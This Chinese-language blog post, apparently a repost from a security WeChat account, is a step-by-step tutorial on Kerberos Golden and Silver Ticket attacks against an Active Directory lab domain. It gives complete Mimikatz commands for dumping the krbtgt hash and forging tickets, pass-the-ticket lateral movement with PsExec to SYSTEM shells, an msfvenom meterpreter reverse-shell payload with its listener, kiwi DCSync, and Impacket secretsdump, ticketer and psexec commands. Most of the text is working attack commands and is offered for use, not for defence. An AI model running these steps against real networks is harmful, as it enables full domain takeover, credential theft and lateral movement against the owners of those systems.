在这篇博文中,我们将探讨黄金票证和白银票证攻击。
我们将使用 Mimikatz 伪造金票和银票,看看我们如何在传递票证攻击中使用这些票证来横向移动并访问网络上的其他机器。从那里,我们将更进一步,使用黄金票证执行完整的透视,并使用 PsExec 在网络中的其他计算机上获取 shell。最后,我们将探索一些其他工具,我们可以使用这些工具在没有 GUI 的情况下执行此攻击。
黄金票证攻击和白银票证攻击之间的主要区别在于,白银票证仅限于目标服务,而黄金票证可以访问域中的任何 Kerberos 服务。
使用 mimikatz.exe 伪造黄金票证
当攻击者成功绕过 KDC 时,将发生黄金票证攻击。一旦绕过 KDC,攻击者就有能力伪造自己的 TGT,这将为他们提供对域上任何资源/系统的访问权限!
为了执行黄金票证攻击,我们需要在域控制器上获取管理权限。拥有域管理员权限和对 DC 的访问权限后,我们需要使用 mimikatz 提取krbtgt(Kerberos 票证生成票证帐户) NTLM 哈希和域的 SID。
收集所需信息以制作黄金票证
将mimikatz.exe下载到受害者上后,启动它并运行privilege::debug命令以确认我们拥有滥用此服务的正确权限。
.mimikatz.exe
privilege::debug
看到响应Privielge '20' OK意味着我们拥有执行黄金票证攻击的正确权限。
现在,我们有了 mimikatz 提示符并确认我们拥有正确的权限,我们可以使用以下命令提取伪造黄金票证所需的信息:
lsadump::lsa /inject /name:krbtgt
krbtgt 账户充当 Kerberos 密钥分发中心 (KDC) 服务的服务账户。帐户和密码是在创建域时创建的,并且密码通常不会更改。如果 krbtgt 帐户被盗用,攻击者可以创建有效的 Kerberos 票证授予票证 (TGT) = GOLDEN TICKET!
提取所需信息后,我们可以使用以下 5 条信息伪造一个冒充域管理员帐户的 TGT:
-
用户名:管理员
-
域:juggernaut.local
-
SID:S-1-5-21-2365897340-51848609-3160590671
-
NTLM 哈希:e6b43234ea2ce6d8bafa4b17c7b3790f
-
RID:500
使用收集到的信息制作黄金票证
现在我们已经有了所需的所有信息,我们可以使用以下命令来伪造管理员级别的黄金票证:
Kerberos::golden /user:Administrator /domain:juggernaut.local /sid:S-1-5-21-2365897340-51848609-3160590671 /krbtgt:e6b43234ea2ce6d8bafa4b17c7b3790f /id:500 /ptt
此命令将...
-
为当前会话的用户 'Administrator' (用户名可以是您想要的任何内容,不必是真实用户) 创建黄金票证。
-
在域 juggernaut.local 上
-
使用域 SID:S-1-5-21-2365897340-51848609-3160590671
-
使用 krbtgt 帐户,后跟其 NTLM:e6b43234ea2ce6d8bafa4b17c7b3790f
-
为伪造的票证提供 PID 为 500(默认管理员 PID)
-
最后,它将 'pass the ticket (ptt)'
在模拟用户时,PID 是这里最重要的部分。这就是为什么我们在制作黄金票时可以使用任何我们想要的用户名;但是,PID 将确定被模拟的帐户以及授予票证的权限级别。
使用 mimikatz.exe 和 PsExec64.exe 的传递票证攻击 (GUI)
现在我们已经使用管理员级别的权限伪造了我们的黄金票证,我们可以执行 Pass-the-Ticket 攻击并访问网络上的其他计算机。
使用模拟票证生成命令提示符
为此,我们需要使用以下命令在我们伪造的票据的上下文下打开一个新的命令提示符:
misc::cmd
由于这是一个生成新命令提示符窗口的交互式命令,因此此技术需要 GUI。此命令还会绕过Disable the command prompt(禁用命令提示符)策略(如果存在)。
现在我们已经伪造了我们的票据,并在伪造票据的上下文中生成了一个新的命令提示符,我们将能够访问网络上的其他机器(横向移动)。但是,请务必注意,您可以访问的内容将取决于伪造票证的用户的权限。
由于我们使用 krbtgt 伪造了这张票,因此我们可以访问整个网络......因此得名 Golden Ticket。
使用 PsExec64.exe 使用模拟票证横向移动
要确认我们可以访问网络上的另一台计算机,请使用我们使用 mimikatz 生成的命令提示符中的以下命令:
dir \hostnamec$
从上面的屏幕截图中可以看出,我能够成功传递票证并访问网络中另一台主机上的文件。
或者,我们不仅可以访问主机上的文件,还可以获得一个完整的 shell。为此,我们需要使用名为PsExec64.exe的工具,它是Sysinternals 工具套件的一部分。
将工具套件下载到攻击者的机器上后,找到PsExec64.exe工具并将其下载到受害者身上。现在 psexec 位于受害者上,从我们使用 mimikatz 生成的提示符中,导航到 psexec 下载到的文件夹,然后运行以下命令:
.PsExec64.exe -accepteula \hostname -s cmd
您可以将 'cmd' 替换为 'powershell' 以获取 PowerShell 提示符。'-s' 开关提供 SYSTEM 级别的 shell。
从上面的屏幕截图中可以看出,我们已经成功执行了一次传递票证攻击,以转向网络中的另一台主机。
使用 mimikatz.exe 伪造 Silver Ticket
银票不需要 DC 的完全妥协;但是,攻击者确实需要获得域中某个主机的本地管理员或 SYSTEM 权限。攻击者可能需要获取服务账户的凭证,具体取决于他们想要伪造的票证。
有多种方法可以在域中查找服务账户名称。要查看实现此目的的几种不同方法,请查看Kerberoasting上的这篇文章。
在大多数情况下,伪造银票与伪造金票没有太大区别。使用银票,我们将以服务帐户或域管理员为目标,并使用目标帐户的 PID 和哈希来伪造票证。这与黄金票证不同,我们用它来使用 krbtgt 帐户的哈希值伪造管理员级别的票证。
收集所需信息以制作银票
在此示例场景中,我们入侵了一个域用户。在入侵用户后,我们能够找到并 kerberoast 一个名为sqlservice的服务帐户。经过 roast 服务账号,我们成功破解了服务账号密码。我们还在域中的主机上站稳了脚跟,并升级到了本地 SYSTEM。
破解服务账号密码后,我们需要将明文密码转换为 NTLM,以便在我们的 mimikatz 命令中使用它来伪造银票。这可以通过我们在攻击者端使用的这个简单脚本来完成(只需更改密码):
#!/bin/python
import hashlib,binascii
hash = hashlib.new('md4', 'P@ssw0rd1234!'.encode('utf-16le')).digest()
print binascii.hexlify(hash)
回到受害者主机,我们需要有一个 shell 作为我们最初入侵的域用户,以获取域的 SID。
现在,我们已将服务帐户密码转换为 NTLM 哈希,我们需要查找域的 SID 和服务帐户的 RID。我们可以使用以下命令同时获得两者:
wmic useraccount get name,sid
上图中的 SID 是域的 SID,后跟用户的 RID。通过这个命令,我们找到了我们需要的两个部分。
此时,所有必需的信息都已提取完毕,我们可以使用提取的以下 5 条信息伪造一个冒充sqlservice帐户的 TGT:
-
用户名:sqlservice
-
域:juggernaut.local
-
SID:S-1-5-21-2365897340-51848609-3160590671
-
NTLM 哈希:5ecb7fb923963202c6567e6fdcf6abdb
-
RID:1111
使用收集到的信息制作 Silver Ticket
现在我们已经有了所需的一切,我们需要转向我们的 SYSTEM shell,并启动 mimikatz。然后我们可以使用以下命令来伪造我们的 silver ticket:
Kerberos::golden /user:sqlservice /domain:juggernaut.local /sid:S-1-5-21-2365897340-51848609-3160590671 /rc4:5ecb7fb923963202c6567e6fdcf6abdb /id:1111 /ptt
伪造银票使用相同的kerberos::golden方法,不同之处在于它指定服务帐户的密码哈希,而不是 krbtgt 的哈希。
此命令将...
-
为当前会话的用户 'sqlservice' 创建一个银票(与金票相同,用户名可以是您想要的任何内容,而不必是真实用户)。
-
在域 juggernaut.local 上
-
使用域 SID:S-1-5-21-2365897340-51848609-3160590671
-
使用 sqlservice 帐户的 NTLM:5ecb7fb923963202c6567e6fdcf6abdb(kerberos RC4 和 NTLM 哈希可互换)
-
提供 PID 为 1111(服务账户的 PID)的伪造票证
-
最后,它将 'pass the ticket (ptt)'
现在,票证已经伪造,可以像黄金票证一样传递。唯一的区别是,银票将仅限于服务帐户有权访问的主机;然而,这带来了增加隐身性的回报。与黄金票证不同,我们将能够使用此票证转向其他计算机,而无需完全损害 DC 或域管理员帐户!
利用银票证的另一种技术是查找您入侵的主机的 NTLM 并为 CIFS 服务伪造票证。一旦攻击者可以访问计算机帐户密码哈希,该帐户就可以用作“用户”帐户来查询 Active Directory。
伪造和传递金/银票的其他方式:没有 GUI,没问题!
要在没有 GUI 的情况下执行传递票证攻击,我们需要保存我们的票证以供攻击者计算机使用。我们将看到如何使用 meterpreter 和 ticketer.py 来完成此操作。
对于这些示例,我们将执行黄金票证攻击;但是,这些命令可以很容易地编辑以用于 Silver Ticket 攻击。
使用 Meterpreter Kiwi 伪造黄金票据
此时,我们已经在受害者 DC 上站稳了脚跟,并从反向 shell 升级到了 Domain Admin。
制作 Meterpreter Payload
接下来,我们需要创建一个 meterpreter payload 以下载到受害者身上,如下所示:
将 LHOST 编辑到攻击者的计算机 IP
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f exe -o meterpreter.exe
然后我们需要从攻击者的机器上启动 Metasploit,并像这样启动一个多处理程序侦听器:
msfconsole -q -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_tcp;set LHOST 172.16.1.30;set LPORT 443;exploit;"
将 meterpreter.exe 下载到受害者身上,然后执行它。这将提供一个 meterpreter shell。
要使此示例正常工作,请在 meterpreter 中使用getsystem成为 SYSTEM,而不是域管理员。SYSTEM 是本地的,不能像域管理员那样查询域中的计算机。这样做的目的是为了 POC......以 SYSTEM 用户身份将票据应用于 shell 后,您将能够查询域中的其他计算机。
从 meterpreter shell 中,我们有一个名为 kiwi 的 mimikatz 的内置扩展。我们可以像使用 mimikatz 一样使用 kiwi 来执行 Golden Ticket 攻击。首先,我们将找到 krbtgt 的 NTLM 哈希和域的 SID,然后我们将使用该信息来制作黄金票证。这一次,黄金票证将被保存,然后我们可以将票证加载到我们的会话中以执行传递票证攻击。
制作黄金票证并使用传递票证攻击进行转身
使用以下两个命令,我们将 kiwi 加载到 meterpreter 会话中,然后转储 krbtgt 的 NTLM 哈希和域的 SID:
load kiwi
dcsync_ntlm krbtgt
请注意,SID 的最后 3 位数字是 RID。在将 SID 添加到命令中以伪造黄金票证时,我们将删除此 ID。
接下来,我们将获取此信息,并使用以下命令使用它来伪造和保存我们的黄金票证:
golden_ticket_create -d juggernaut.local -u administrator -s S-1-5-21-2365897340-51848609-3160590671 -k e6b43234ea2ce6d8bafa4b17c7b3790f -t /opt/evil.tck
现在,票证已保存,我们可以将票证应用于当前会话,这将允许我们切换到网络上的另一台计算机。这是使用以下命令完成的:
kerberos_ticket_use /opt/evil.tck
将票据加载到当前会话后,我们可以下拉到常规 shell 并访问网络中其他主机上的文件。
使用 ticketer.py 伪造黄金票证
我们伪造黄金票据的另一种方法是使用Impacket工具套件中名为ticketer.py的工具完全远程进行。实际上,在这个例子中,我们将使用一些 Impacket 脚本。
如果您不熟悉 Impacket,那么您需要熟悉!– 就像现在一样......快 点!
首先,我们需要像以前一样获取 krbtgt 哈希和域 SID,但这次我们将远程执行这两个步骤。我们将使用secretsdump.py转储 DC 上的所有哈希值,并使用lookupsid.py查找域 SID。
secretsdump.py juggernaut.local/Administrator:'password'@172.16.1.5 | grep krbtgt
lookupsid.py juggernaut.local/Administrator:'password'@172.16.1.5 | grep -i "domain sid"
制作黄金票证并使用传递票证攻击进行转身
现在我们已经获得了所需的部分,我们可以使用 ticketer.py 伪造我们的黄金票证,如下所示:
ticketer.py -nthash e6b43234ea2ce6d8bafa4b17c7b3790f -domain-sid S-1-5-21-2365897340-51848609-3160590671 -domain juggernaut.local administrator
这会将黄金票证缓存到当前工作目录中名为administrator.ccache的文件中。
接下来,我们需要使用以下命令将此票据导出到当前的 bash 会话中:
export KRB5CCNAME=/opt/juggernaut/administrator.ccache
现在,票据已导出到当前会话中,我们可以使用以下命令在网络中的一台主机上获得立足点:
psexec.py juggernaut.local/[email protected] -target-ip 172.16.1.100 -dc-ip 172.16.1.5 -k -no-pass
在此示例中,我们定位的主机是 172.1.6.1.100,其主机名为 jugg-meisenhardt。
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
觉得文章对你有帮助 请转发 点赞 收藏
原文始发于微信公众号(moonsec):【域渗透】 Golden Ticket 和 Silver Ticket 攻
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论